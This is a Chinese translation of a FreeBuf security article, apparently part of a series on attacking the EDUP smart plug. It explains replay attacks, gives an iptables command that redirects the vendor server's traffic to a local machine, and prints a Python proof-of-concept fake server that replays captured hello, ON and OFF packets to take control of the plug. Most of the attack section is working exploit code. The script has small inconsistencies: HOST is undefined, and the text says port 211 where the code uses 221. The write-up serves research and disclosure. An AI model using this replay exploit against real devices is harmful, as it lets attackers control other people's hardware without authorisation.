在《玩爆EDUP智能插座(Part2)》中我们对EDUP智能插座的构成元件进行了初步的了解:智能插座的工作原理,构成元件,对其通行协议进行了初步了解。
在接下来的这一章节中,我们将会用到重放攻击的手法,通过假冒服务器有效的控制设备。
重放攻击(Replay attack)是一种网络攻击,它恶意的欺诈性的重复或拖延正常的数据传输。 例如Alice向Bob认证自己。Bob要求她提供密码作为身份信息。同时,Eve窃听两人的通讯,并记录密码。在Alice和Bob完成通讯后,Eve联系Bob,假装自己为Alice,当Bob要求密码时,Eve将Alice的密码发出,Bob认可和自己通讯的人是Alice。
首先,我们将所有来自/流向IP 219.147.29.235的流量(事实上这是真实服务器地址)定向到我们控制的本地机器,设置一个虚假的服务监听端口 TCP/221
iptables -t nat -A PREROUTING -p tcp -d 219.147.29.235 --jump DNAT --to-destination 192.168.3.8:221
成功执行这条命令之后,使用netcat命令监听TCP/221端口来检测是否已经成功重定向,接着我们连接好设备后,等它来验证我们的hostapd,然后我们应该能够看到下面这张图。
通过仔细分析数据包,我们意识到在第一次握手之后,不论什么时候服务器总是首先响应。
用下面这张截图作为例子,服务器启动一个能够调用serverHelo[在上一篇文章中讲解图中我们把他命名为A]的payload。客户端确认serverHelo后发送两个数据包,最后别忘记了TCP/IP栈以及ACK。
与ON/OFF命令完全相同:服务器先发送一些数据,然后端口与客户端的连接
演示视频
下面的这个视频演示了完整的工作流程
<视频上传中>
链接:http://pan.baidu.com/s/1mgmVF9Q 密码:d5t1
出于演示目的,我还写了一个Python脚本,其在211端口处创建一个TCP接口等待客户连接。当检测到传入的连接,服务器发送之前获得到的数据包,并显示接收到的响应信息。
#!/usr/bin/env python # Python Fake EDUP Server POC # Angel Suarez-B. Martin (n0w) import socket import sys from thread import * import time # EDUP SmartSocket Port PORT = 221 def clientthread(conn): serverHelo = 'ffff000f01007ac82cca004139164e'.decode('hex') onCMD = 'ffff00156261a73ac50f0900002509062474028080'.decode('hex') offCMD = 'ffff001548e18d202bf50900002509062474028000'.decode('hex') print "[*] Sending HELO..." conn.send(serverHelo) data = conn.recv(30) print "[i] Received message A!: " + data.encode('hex') data = conn.recv(30) print "[i] Received message B!: " + data.encode('hex') print "[i] Session now started" print "[*] Sending 'ON' CMD..." conn.send(onCMD) data = conn.recv(30) print "[i] Received 'ON' CMD confirmation: " + data.encode('hex') time.sleep (3) print "[*] Now sending 'OFF' CMD..." conn.send(offCMD) data = conn.recv(30) print "[i] Received 'OFF' CMD confirmation: " + data.encode('hex') conn.close() if __name__ == '__main__': print "EDUP SmartSocket Fake Server PoC" print "Written by Angel Suarez-B. Martin (n0w)\n" s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) print '[i] Socket created' # Bind socket to local host and port try: s.bind((HOST, PORT)) except socket.error as msg: print '[e] Bind failed. Error Code : ' + str(msg[0]) + ' Message ' + msg[1] sys.exit() print '[i] Socket bind complete' s.listen(10) print '[i] Socket now listening' while 1: conn, addr = s.accept() print '[i] Incoming SmartSocket from ' + addr[0] + ':' + str(addr[1]) start_new_thread(clientthread ,(conn,)) s.close()
*参考来源n0wblog,译者/鸢尾 转载请注明来自FreeBuf黑客与极客(FreeBuf.COM)